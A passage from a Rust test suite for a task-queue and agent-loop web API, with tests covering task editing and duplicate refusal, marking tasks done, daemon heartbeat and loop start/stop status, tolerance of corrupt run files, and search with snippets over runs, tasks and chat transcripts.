18504 body["source"]["kind"], "agent",
18505 "editing a task an agent filed must not turn it human: {body}"
18506 );
18507 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
18508
18509 let reloaded = queue.get(&task.id).expect("reload");
18510 assert_eq!(reloaded.title, "new title");
18511 assert_eq!(reloaded.instruction, "new instruction");
18512 }
18513
18514 #[tokio::test]
18515 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
18516 let tmp = TempDir::new().expect("tempdir");
18519 let repo = tmp.path().join("repo");
18520 std::fs::create_dir_all(&repo).expect("repo dir");
18521 let judge = MOCK_AGENT_TOML.replace(
18522 "printf ok",
18523 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
18524 );
18525 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
18526 let f = Fixture::with_repo(repo.clone()).await;
18527 let queue = f.queue();
18528 let mut owner = Task::new(
18529 "owner".to_owned(),
18530 "review it".to_owned(),
18531 repo.clone(),
18532 Source::Human,
18533 );
18534 owner.review_branch = Some("magi/ab12/A".to_owned());
18535 queue.put(&mut owner).expect("file the owner");
18536 let mut task = Task::new(
18537 "draft".to_owned(),
18538 "old".to_owned(),
18539 repo.clone(),
18540 Source::Human,
18541 );
18542 queue.put(&mut task).expect("file the draft");
18543 let url = format!("/api/queue/{}/edit", task.id);
18544
18545 let refused = f
18546 .post(
18547 &url,
18548 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
18549 )
18550 .await;
18551 assert_eq!(refused.status, 409, "{}", refused.body);
18552 let msg = refused.json()["error"]
18553 .as_str()
18554 .unwrap_or_default()
18555 .to_owned();
18556 assert!(
18557 msg.contains("magi/ab12/A") && msg.contains("force"),
18558 "{msg}"
18559 );
18560 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
18561
18562 let forced = f
18563 .post(
18564 &url,
18565 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
18566 )
18567 .await;
18568 assert_eq!(forced.status, 200, "{}", forced.body);
18569 }
18570
18571 #[tokio::test]
18572 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
18573 let f = Fixture::start().await;
18574 let queue = f.queue();
18575 let mut task = Task::new(
18576 "in flight".to_owned(),
18577 "do not touch".to_owned(),
18578 PathBuf::from("/repo/magi"),
18579 Source::Human,
18580 );
18581 task.start("20260902-140502-bbbb".to_owned());
18582 queue.put(&mut task).expect("file the task");
18583
18584 let res = f
18585 .post(
18586 &format!("/api/queue/{}/edit", task.id),
18587 Some(r#"{"title":"x","instruction":"y"}"#),
18588 )
18589 .await;
18590 assert_eq!(res.status, 400, "{}", res.body);
18591 assert!(
18592 res.json()["error"]
18593 .as_str()
18594 .is_some_and(|e| e.contains("running")),
18595 "{}",
18596 res.body
18597 );
18598 assert_eq!(
18599 queue.get(&task.id).expect("reload").instruction,
18600 "do not touch",
18601 "the refused edit must not change the file"
18602 );
18603 }
18604
18605 #[tokio::test]
18606 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
18607 let f = Fixture::start().await;
18608 let queue = f.queue();
18609 let mut task = Task::new(
18610 "busy".to_owned(),
18611 "Running right now".to_owned(),
18612 PathBuf::from("/repo/magi"),
18613 Source::Human,
18614 );
18615 queue.put(&mut task).expect("file the task");
18616 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
18617
18618 let priority = f
18619 .post(
18620 &format!("/api/queue/{}/priority", task.id),
18621 Some(r#"{"priority":9}"#),
18622 )
18623 .await;
18624 assert_eq!(priority.status, 409, "{}", priority.body);
18625
18626 let edit = f
18627 .post(
18628 &format!("/api/queue/{}/edit", task.id),
18629 Some(r#"{"title":"x","instruction":"y"}"#),
18630 )
18631 .await;
18632 assert_eq!(edit.status, 409, "{}", edit.body);
18633 }
18634
18635 #[tokio::test]
18636 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
18637 let f = Fixture::start().await;
18638 let queue = f.queue();
18639 let mut task = Task::new(
18640 "shipped by hand".to_owned(),
18641 "merged outside the loop".to_owned(),
18642 PathBuf::from("/repo/magi"),
18643 Source::Agent {
18644 run: "20260101-000000-b455".to_owned(),
18645 node: "implement".to_owned(),
18646 },
18647 );
18648 task.runs.push("20260101-000000-b455".to_owned());
18649 task.runs.push("20260101-000000-9af4".to_owned());
18650 queue.put(&mut task).expect("file the task");
18651 let created_at = task.created_at;
18652
18653 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18654 assert_eq!(done.status, 200, "{}", done.body);
18655 assert_eq!(done.json()["status_str"], "done");
18656
18657 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
18658 assert_eq!(
18659 reloaded.runs,
18660 ["20260101-000000-b455", "20260101-000000-9af4"]
18661 );
18662 assert_eq!(
18663 reloaded.source,
18664 Source::Agent {
18665 run: "20260101-000000-b455".to_owned(),
18666 node: "implement".to_owned(),
18667 }
18668 );
18669 assert_eq!(reloaded.created_at, created_at);
18670 }
18671
18672 #[tokio::test]
18673 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
18674 let f = Fixture::start().await;
18679 let queue = f.queue();
18680 let mut task = Task::new(
18681 "landed while held".to_owned(),
18682 "x".to_owned(),
18683 PathBuf::from("/repo/magi"),
18684 Source::Human,
18685 );
18686 task.hold_manual(Some("waiting on 3ed9".to_owned()));
18687 queue.put(&mut task).expect("file the held task");
18688
18689 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18690 assert_eq!(done.status, 200, "{}", done.body);
18691 assert_eq!(done.json()["status_str"], "done");
18692 assert!(
18693 done.json()["hold_reason"].is_null(),
18694 "a done task cannot still be waiting on something: {}",
18695 done.body
18696 );
18697 }
18698
18699 #[tokio::test]
18700 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
18701 let f = Fixture::start().await;
18706 let queue = f.queue();
18707 let runs = f.runs();
18708 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
18709 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
18713
18714 let mut task = Task::new(
18715 "landed by hand".to_owned(),
18716 "x".to_owned(),
18717 PathBuf::from("/repo/magi"),
18718 Source::Human,
18719 );
18720 task.runs.push("20260101-000000-doa1".to_owned());
18721 task.runs.push("20260101-000000-doa2".to_owned());
18722 queue.put(&mut task).expect("file the task");
18723
18724 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18725 assert_eq!(done.status, 200, "{}", done.body);
18726
18727 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
18728 .expect("run still on disk under this fixture's own home");
18729 assert_eq!(
18730 reloaded_run.status,
18731 RunStatus::Superseded,
18732 "closing the task by hand must relabel the earlier blocked attempt exactly \
18733 like the loop's own settle path does"
18734 );
18735 }
18736
18737 #[tokio::test]
18738 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
18739 let f = Fixture::start().await;
18744 let queue = f.queue();
18745 let runs = f.runs();
18746 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
18747 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
18748
18749 let mut task = Task::new(
18750 "closed with nothing actually landed".to_owned(),
18751 "x".to_owned(),
18752 PathBuf::from("/repo/magi"),
18753 Source::Human,
18754 );
18755 task.runs.push("20260101-000000-dob1".to_owned());
18756 task.runs.push("20260101-000000-dob2".to_owned());
18757 queue.put(&mut task).expect("file the task");
18758
18759 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18760 assert_eq!(done.status, 200, "{}", done.body);
18761
18762 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
18763 .expect("run still on disk under this fixture's own home");
18764 assert_eq!(
18765 reloaded_run.status,
18766 RunStatus::Blocked,
18767 "the last recorded attempt never landed, so the earlier one must not be \
18768 relabelled as superseded by it"
18769 );
18770 }
18771
18772 #[tokio::test]
18773 async fn unknown_ids_are_json_not_found_on_both_stores() {
18774 let f = Fixture::start().await;
18775
18776 let run = f.get("/api/runs/nosuchrun").await;
18777 let task = f.post("/api/queue/nosuchtask/hold", None).await;
18778
18779 assert_eq!(run.status, 404);
18780 assert_eq!(task.status, 404);
18781 assert!(
18782 run.json()["error"]
18783 .as_str()
18784 .is_some_and(|e| e.contains("run")),
18785 "the error names what was not found: {}",
18786 run.body
18787 );
18788 assert!(
18789 task.json()["error"]
18790 .as_str()
18791 .is_some_and(|e| e.contains("task")),
18792 "the error names what was not found: {}",
18793 task.body
18794 );
18795 }
18796
18797 #[tokio::test]
18798 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
18799 let f = Fixture::start().await;
18800
18801 let missing = f.get("/api/health").await.json();
18802 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
18803
18804 write_daemon(
18805 f.home.path(),
18806 Timestamp::now() - jiff::SignedDuration::from_secs(60),
18807 );
18808 let stale = f.get("/api/health").await.json();
18809 assert_eq!(
18810 stale["daemon"]["running"], false,
18811 "a minute without a heartbeat is a dead daemon, not a busy one"
18812 );
18813 assert!(
18814 stale["daemon"]["stale_for_secs"]
18815 .as_i64()
18816 .is_some_and(|s| s >= 55),
18817 "staleness is reported so the UI can say how long: {stale}"
18818 );
18819
18820 write_daemon(f.home.path(), Timestamp::now());
18821 let fresh = f.get("/api/health").await.json();
18822 assert_eq!(fresh["daemon"]["running"], true);
18823 assert_eq!(fresh["daemon"]["idle"], false);
18824 assert_eq!(fresh["daemon"]["pid"], 4242);
18825 assert_eq!(fresh["daemon"]["completed"], 7);
18826 assert_eq!(
18827 fresh["daemon"]["current"][0]["task"],
18828 "20260902-140501-aaaa"
18829 );
18830 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
18831 }
18832
18833 #[tokio::test]
18834 async fn the_loop_is_not_running_until_something_starts_it() {
18835 let f = Fixture::start().await;
18836
18837 let view = f.get("/api/loop").await.json();
18838 assert_eq!(view["running"], false);
18839 assert_eq!(
18840 view["owned"], false,
18841 "nobody owns a loop that does not exist: {view}"
18842 );
18843 assert_eq!(view["stopping"], false);
18844 assert_eq!(view["last_error"], Value::Null);
18845 assert_eq!(view["daemon"]["running"], false);
18846 assert_eq!(
18847 view["repo"], "/repo/magi",
18848 "the repository a start would use, named before it is started"
18849 );
18850 }
18851
18852 #[tokio::test]
18853 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
18854 let f = Fixture::start().await;
18855
18856 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18857 assert_eq!(res.status, 200, "{}", res.body);
18858 let view = res.json();
18859 assert_eq!(view["running"], true);
18860 assert_eq!(
18861 view["owned"], true,
18862 "the loop the UI started is the UI's own to stop: {view}"
18863 );
18864 assert_eq!(
18865 view["merge"],
18866 Value::Null,
18867 "no override was given, so each repository's own config decides"
18868 );
18869
18870 let health = f.get("/api/health").await.json();
18874 assert_eq!(health["loop"]["running"], true, "{health}");
18875 assert_eq!(health["loop"]["owned"], true, "{health}");
18876
18877 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18878 }
18879
18880 #[tokio::test]
18881 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
18882 let f = Fixture::start().await;
18883 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18884 assert_eq!(first.status, 200, "{}", first.body);
18885
18886 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18887 assert_eq!(
18888 again.status, 409,
18889 "two loops on one queue race for the same claims: {}",
18890 again.body
18891 );
18892 assert!(
18893 again.json()["error"]
18894 .as_str()
18895 .is_some_and(|e| e.contains("already running the loop")),
18896 "the refusal has to say why: {}",
18897 again.body
18898 );
18899 assert_eq!(
18900 f.get("/api/loop").await.json()["running"],
18901 true,
18902 "and the loop that was already running is untouched by it"
18903 );
18904
18905 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18906 }
18907
18908 #[tokio::test]
18909 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
18910 let f = Fixture::start().await;
18911 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18912
18913 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18914 assert_eq!(
18915 res.status, 200,
18916 "the answer must not wait for the loop: a run in flight is tens of \
18917 minutes and the operator is holding a phone: {}",
18918 res.body
18919 );
18920
18921 let view = settled(&f, |v| v["running"] == false).await;
18922 assert_eq!(view["owned"], false);
18923 assert_eq!(
18924 view["stopping"], false,
18925 "a loop that has stopped is not still stopping: {view}"
18926 );
18927 assert_eq!(
18928 view["last_error"],
18929 Value::Null,
18930 "a loop that was asked to stop did not fail: {view}"
18931 );
18932
18933 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18936 assert_eq!(twice.status, 200, "{}", twice.body);
18937 }
18938
18939 #[tokio::test]
18940 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
18941 let f = Fixture::start().await;
18942 write_daemon(f.home.path(), Timestamp::now());
18945
18946 let view = f.get("/api/loop").await.json();
18947 assert_eq!(view["running"], false, "not in this process: {view}");
18948 assert_eq!(view["owned"], false, "and not this process's to control");
18949 assert_eq!(
18950 view["daemon"]["running"], true,
18951 "but a loop is alive somewhere, which is what the UI must say"
18952 );
18953 assert_eq!(view["daemon"]["pid"], 4242);
18954
18955 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
18956 let res = f.post("/api/loop", Some(body)).await;
18957 assert_eq!(
18958 res.status, 409,
18959 "neither button may pretend to work on someone else's loop: {}",
18960 res.body
18961 );
18962 assert!(
18963 res.json()["error"]
18964 .as_str()
18965 .is_some_and(|e| e.contains("4242")),
18966 "the refusal has to name the process the operator must go to: {}",
18967 res.body
18968 );
18969 }
18970 assert_eq!(
18971 f.get("/api/loop").await.json()["running"],
18972 false,
18973 "and the refusal started nothing"
18974 );
18975 }
18976
18977 #[tokio::test]
18978 async fn a_stale_status_file_is_not_a_foreign_owner() {
18979 let f = Fixture::start().await;
18980 write_daemon(
18981 f.home.path(),
18982 Timestamp::now() - jiff::SignedDuration::from_secs(60),
18983 );
18984
18985 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18986 assert_eq!(
18987 res.status, 200,
18988 "a daemon killed a minute ago must not lock the loop out of its \
18989 own home for good: {}",
18990 res.body
18991 );
18992 assert_eq!(res.json()["running"], true);
18993
18994 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18995 }
18996
18997 #[tokio::test]
18998 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
18999 let f = Fixture::start().await;
19000 let before = f.get("/api/health").await.json()["loop_rev"]
19001 .as_u64()
19002 .expect("a loop revision");
19003
19004 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19005
19006 let after = f.get("/api/health").await.json()["loop_rev"]
19007 .as_u64()
19008 .expect("a loop revision");
19009 assert!(
19010 after > before,
19011 "the loop is in-process state, so this counter is the only thing \
19012 that tells a second device the first one started it: {before} -> \
19013 {after}"
19014 );
19015
19016 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19017 }
19018
19019 #[tokio::test]
19020 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
19021 let f = Fixture::with_loop(launch_broken).await;
19022
19023 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19024 assert_eq!(
19025 res.status, 200,
19026 "starting it is not the failure: {}",
19027 res.body
19028 );
19029
19030 let view = settled(&f, |v| v["last_error"].is_string()).await;
19031 assert_eq!(
19032 view["running"], false,
19033 "a loop that died must not read as running, or the operator has \
19034 nothing to press: {view}"
19035 );
19036 assert_eq!(view["owned"], false);
19037 assert!(
19038 view["last_error"]
19039 .as_str()
19040 .is_some_and(|e| e.contains("read-only file system")),
19041 "the phone is where a loop that died at 3am is visible: {view}"
19042 );
19043
19044 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19047 assert_eq!(again.status, 200, "{}", again.body);
19048 assert!(
19049 again.json()["last_error"]
19050 .as_str()
19051 .is_none_or(|e| !e.contains("read-only file system")),
19052 "a fresh start does not keep showing why the last one died: {}",
19053 again.body
19054 );
19055 }
19056
19057 #[tokio::test]
19058 async fn a_newer_daemon_status_file_still_renders() {
19059 let f = Fixture::start().await;
19060 std::fs::write(
19063 f.home.path().join("daemon.json"),
19064 serde_json::json!({
19065 "schema": 2,
19066 "updated_at": Timestamp::now().to_string(),
19067 "idle": true,
19068 "surprise": { "nested": [1, 2, 3] },
19069 })
19070 .to_string(),
19071 )
19072 .expect("write daemon.json");
19073
19074 let health = f.get("/api/health").await;
19075
19076 assert_eq!(health.status, 200);
19077 assert_eq!(health.json()["daemon"]["running"], true);
19078 }
19079
19080 #[tokio::test]
19081 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
19082 let f = Fixture::start().await;
19083 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
19084 let broken = f.runs().join("20260902-140502-bad");
19085 std::fs::create_dir_all(&broken).expect("run dir");
19086 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
19087
19088 let list = f.get("/api/runs").await;
19089 let detail = f.get("/api/runs/20260902-140502-bad").await;
19090
19091 assert_eq!(list.status, 200);
19092 let listed = list.json();
19093 let ids: Vec<&str> = listed
19094 .as_array()
19095 .expect("an array")
19096 .iter()
19097 .map(|r| r["id"].as_str().expect("an id"))
19098 .collect();
19099 assert_eq!(
19100 ids,
19101 vec!["20260902-140501-good"],
19102 "one unreadable run must not cost the operator the whole history"
19103 );
19104 assert_eq!(detail.status, 500);
19105 assert!(
19106 detail.json()["error"]
19107 .as_str()
19108 .is_some_and(|e| e.contains("run.json")),
19109 "the failure names the file to look at: {}",
19110 detail.body
19111 );
19112 let health = f.get("/api/health").await;
19116 assert_eq!(health.json()["runs_unreadable"], 1);
19117 }
19118
19119 #[tokio::test]
19121 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
19122 let f = Fixture::start().await;
19123 let runs = f.runs();
19124 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
19125 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
19126 let path = runs.join("20260902-140502-bbbb").join("run.json");
19129 let mut v: serde_json::Value =
19130 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19131 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
19132 std::fs::write(&path, v.to_string()).unwrap();
19133 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
19134 std::fs::write(
19135 runs.join("20260902-140503-cccc").join("run.json"),
19136 "{ not json",
19137 )
19138 .unwrap();
19139
19140 let res = f.get("/api/search?scope=runs&q=quokka").await;
19141 assert_eq!(res.status, 200, "{}", res.body);
19142 let v = res.json();
19143 assert_eq!(v["total"], 1, "{v}");
19144 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
19145 assert_eq!(v["hits"][0]["field"], "text");
19146 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
19147 let parts = v["hits"][0]["snippet"].as_array().unwrap();
19148 assert!(
19149 parts
19150 .iter()
19151 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
19152 "{v}"
19153 );
19154 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
19155 assert_eq!(
19156 flat, "The Quokka leaks across threads",
19157 "whitespace is collapsed"
19158 );
19159
19160 let both = f
19162 .get("/api/search?scope=runs&q=MOBILE%20quokka")
19163 .await
19164 .json();
19165 assert_eq!(both["total"], 1, "{both}");
19166 let neither = f
19167 .get("/api/search?scope=runs&q=quokka%20zebra")
19168 .await
19169 .json();
19170 assert_eq!(neither["total"], 0, "{neither}");
19171 let stmt = f
19173 .get("/api/search?scope=runs&q=mobile%20first")
19174 .await
19175 .json();
19176 assert_eq!(stmt["total"], 2, "{stmt}");
19177 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
19178 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
19179 }
19180
19181 #[test]
19182 fn snippet_ignores_terms_longer_than_the_field() {
19183 let terms = ["ok".to_owned(), "elephant".to_owned()];
19184 let parts = snippet_of("ok", &terms);
19185 assert_eq!(
19186 parts,
19187 vec![SnippetPart {
19188 text: "ok".to_owned(),
19189 hit: true
19190 }]
19191 );
19192 }
19193
19194 #[test]
19195 fn snippet_marks_matches_longer_than_the_window() {
19196 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
19197 let hit_len = |parts: &[SnippetPart]| -> usize {
19198 parts
19199 .iter()
19200 .filter(|p| p.hit)
19201 .map(|p| p.text.chars().count())
19202 .sum()
19203 };
19204 let total =
19205 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
19206
19207 let long = "a".repeat(120);
19208 let parts = snippet_of(&long, std::slice::from_ref(&long));
19209 assert!(hit_len(&parts) > 0, "{parts:?}");
19210 assert!(total(&parts) <= cap);
19211
19212 let ja = "あ".repeat(130);
19213 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
19214 assert!(hit_len(&parts) > 0, "{parts:?}");
19215 assert!(total(&parts) <= cap);
19216
19217 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
19219 let term = format!("ab{}", "c".repeat(100));
19220 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
19221 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
19222 assert!(total(&parts) <= cap);
19223
19224 let text = format!("{}z", "a".repeat(119));
19226 let parts = snippet_of(&text, &["a".repeat(120)]);
19227 assert_eq!(hit_len(&parts), 0, "{parts:?}");
19228 }
19229
19230 #[tokio::test]
19231 async fn search_caps_hits_and_snippet_length() {
19232 let f = Fixture::start().await;
19233 let runs = f.runs();
19234 for n in 0..(SEARCH_MAX_HITS + 5) {
19235 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
19236 }
19237 let v = f.get("/api/search?scope=runs&q=web").await.json();
19238 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
19239 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
19240 assert_eq!(v["truncated"], true);
19241 assert!(
19243 v["hits"]
19244 .as_array()
19245 .unwrap()
19246 .iter()
19247 .all(|h| h["run"]["status"] == "merged")
19248 );
19249
19250 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
19251 let parts = snippet_of(&long, &["needle".to_owned()]);
19252 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
19253 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
19254 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
19255 }
19256
19257 #[tokio::test]
19258 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
19259 let f = Fixture::start().await;
19260 let queue = f.queue();
19261 let mut t = Task::new(
19262 "short title".to_owned(),
19263 "line one\nthe hidden Armadillo detail".to_owned(),
19264 PathBuf::from("/repo/magi"),
19265 Source::Agent {
19266 run: "r1".to_owned(),
19267 node: "chat".to_owned(),
19268 },
19269 );
19270 t.last_error = Some("disk full on /tmp".to_owned());
19271 queue.put(&mut t).expect("file the task");
19272
19273 for (q, want) in [
19274 ("armadillo", 1),
19275 ("disk%20FULL", 1),
19276 ("chat", 1),
19277 ("queued", 1),
19278 ("short%20nothing", 0),
19279 ] {
19280 let v = f
19281 .get(&format!("/api/search?scope=tasks&q={q}"))
19282 .await
19283 .json();
19284 assert_eq!(v["total"], want, "{q}: {v}");
19285 }
19286 for bad in [
19287 "/api/search?scope=tasks&q=",
19288 "/api/search?scope=tasks&q=%20",
19289 "/api/search?scope=chats&q=",
19290 "/api/search?scope=chats&q=%20",
19291 "/api/search?scope=nope&q=a",
19292 "/api/search?q=a",
19293 ] {
19294 assert_eq!(f.get(bad).await.status, 400, "{bad}");
19295 }
19296 }
19297
19298 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
19300 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
19301 .expect("seat value");
19302 let turns: Vec<serde_json::Value> = turns
19303 .iter()
19304 .map(|(who, body)| {
19305 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
19306 })
19307 .collect();
19308 let doc = serde_json::json!({
19309 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
19310 "status": status, "turns": turns,
19311 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
19312 "seat": seat,
19313 });
19314 let dir = f.home.path().join("talks");
19315 std::fs::create_dir_all(&dir).expect("talks dir");
19316 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
19317 }
19318
19319 #[test]
19320 fn chat_search_prefers_the_saved_title_and_keeps_the_transcript() {
19321 let mut talk: Talk = serde_json::from_value(serde_json::json!({
19322 "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
19323 "status": "open", "turns": [{"who":"operator", "body":"古い話題", "at":"2026-09-08T20:58:02Z"}],
19324 "created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:58:02Z",
19325 "seat": crate::agent::SeatState::new("talk", "test", 1)
19326 })).unwrap();
19327 assert_eq!(talk_search_doc(&talk)["title"], "古い話題");
19328 talk.title = Some(talk::ChatTitle {
19329 text: "最近の話題".into(),
19330 source: talk::TitleSource::Generated,
19331 });
19332 let doc = talk_search_doc(&talk);
19333 assert_eq!(doc["title"], "最近の話題");
19334 assert_eq!(doc["turns"][0]["operator"], "古い話題");
19335 talk.title.as_mut().unwrap().source = talk::TitleSource::Manual;
19336 assert_eq!(talk_search_doc(&talk)["title"], "最近の話題");
19337 }
19338
19339 #[test]
19340 fn chat_search_labels_external_turns_and_messages_without_operator_attribution() {
19341 let mut talk = talk::seeded_for_test("external", PathBuf::from("."));
19342 talk.title = Some(talk::ChatTitle {
19343 text: "Saved title".into(),
19344 source: talk::TitleSource::Manual,
19345 });
19346 talk.turns = serde_json::from_value(serde_json::json!([
19347 {
19348 "who": "operator", "sender": "external", "body": "External plain",
19349 "at": "2026-09-08T20:58:02Z"
19350 },
19351 {
19352 "who": "operator", "body": "External message",
19353 "at": "2026-09-08T20:58:03Z",
19354 "messages": [{
19355 "sender": "external", "body": "External message", "attachments": []
19356 }]
19357 }
19358 ]))
19359 .unwrap();
19360 let doc = talk_search_doc(&talk);
19361 assert_eq!(doc["turns"][0]["external"], "External plain");
19362 assert_eq!(doc["turns"][1]["external"], "External message");
19363 assert!(doc["turns"][0].get("operator").is_none());
19364 assert!(doc["turns"][1].get("operator").is_none());
19365 let hit = search_chat(&search_terms("message"), &talk).unwrap();
19366 assert_eq!(hit.field, "external");
19367 let target = hit.target.unwrap();
19368 assert_eq!((target.turn, target.message), (1, 0));
19369 }
19370
19371 #[test]
19372 fn chat_search_targets_the_snippet_message_and_preserves_document_matching() {
19373 let talk: Talk = serde_json::from_value(serde_json::json!({
19374 "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
19375 "status": "open", "title": {"text":"Saved title", "source":"manual"},
19376 "turns": [{"who":"operator", "body":"First message\n\nSearch 運用", "at":"2026-09-08T20:58:02Z",
19377 "messages":[{"body":"First message", "attachments":[], "reply":null},
19378 {"body":"Search 運用", "attachments":[], "reply":null}]},
19379 {"who":"agent", "body":"Another term", "at":"2026-09-08T20:59:02Z"}],
19380 "created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:59:02Z",
19381 "seat": crate::agent::SeatState::new("talk", "test", 1)
19382 })).unwrap();
19383 let hit = search_chat(&search_terms("運用 Another"), &talk).unwrap();
19384 let target = hit.target.unwrap();
19385 assert_eq!((target.turn, target.message), (0, 1));
19386 assert_eq!(target.text, chat_text_key("Search 運用"));
19387 assert_eq!(
19388 hit.snippet,
19389 snippet_of("Search 運用", &search_terms("運用 Another"))
19390 );
19391 assert!(
19392 search_chat(&search_terms("Saved"), &talk)
19393 .unwrap()
19394 .target
19395 .is_none()
19396 );
19397 assert!(
19398 search_chat(&search_terms("ab12"), &talk)
19399 .unwrap()
19400 .target
19401 .is_none()
19402 );
19403 assert!(search_chat(&search_terms("message Search"), &talk).is_some());
19405 assert!(search_chat(&search_terms("messageSearch"), &talk).is_none());
19406 }
19407
19408 #[test]
19409 fn chat_search_targets_opener_derived_titles() {
19410 let mut talk: Talk = serde_json::from_value(serde_json::json!({
19411 "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
19412 "status": "open", "turns": [
19413 {"who":"agent", "body":"Welcome", "at":"2026-09-08T20:58:01Z"},
19414 {"who":"operator", "body":"\n 運用について\nDetails", "at":"2026-09-08T20:58:02Z"},
19415 {"who":"agent", "body":"Latest reply", "at":"2026-09-08T20:59:02Z"}],
19416 "created_at": "2026-09-08T20:58:01Z", "updated_at": "2026-09-08T20:59:02Z",
19417 "seat": crate::agent::SeatState::new("talk", "test", 1)
19418 }))
19419 .unwrap();
19420 let terms = search_terms("運用");
19421 let hit = search_chat(&terms, &talk).unwrap();
19422 assert_eq!(hit.field, "title");
19423 assert_eq!(hit.snippet, snippet_of("運用について", &terms));
19424 let target = hit.target.unwrap();
19425 assert_eq!((target.turn, target.message), (1, 0));
19426 assert_eq!(target.text, chat_text_key(&talk.turns[1].body));
19427 talk.turns[1].messages = serde_json::from_value(serde_json::json!([
19429 {"body":"", "attachments":[], "reply":null},
19430 {"body":" 運用について\nDetails", "attachments":[], "reply":null}
19431 ]))
19432 .unwrap();
19433 let target = search_chat(&terms, &talk).unwrap().target.unwrap();
19434 assert_eq!((target.turn, target.message), (1, 1));
19435 assert_eq!(target.text, chat_text_key(" 運用について\nDetails"));
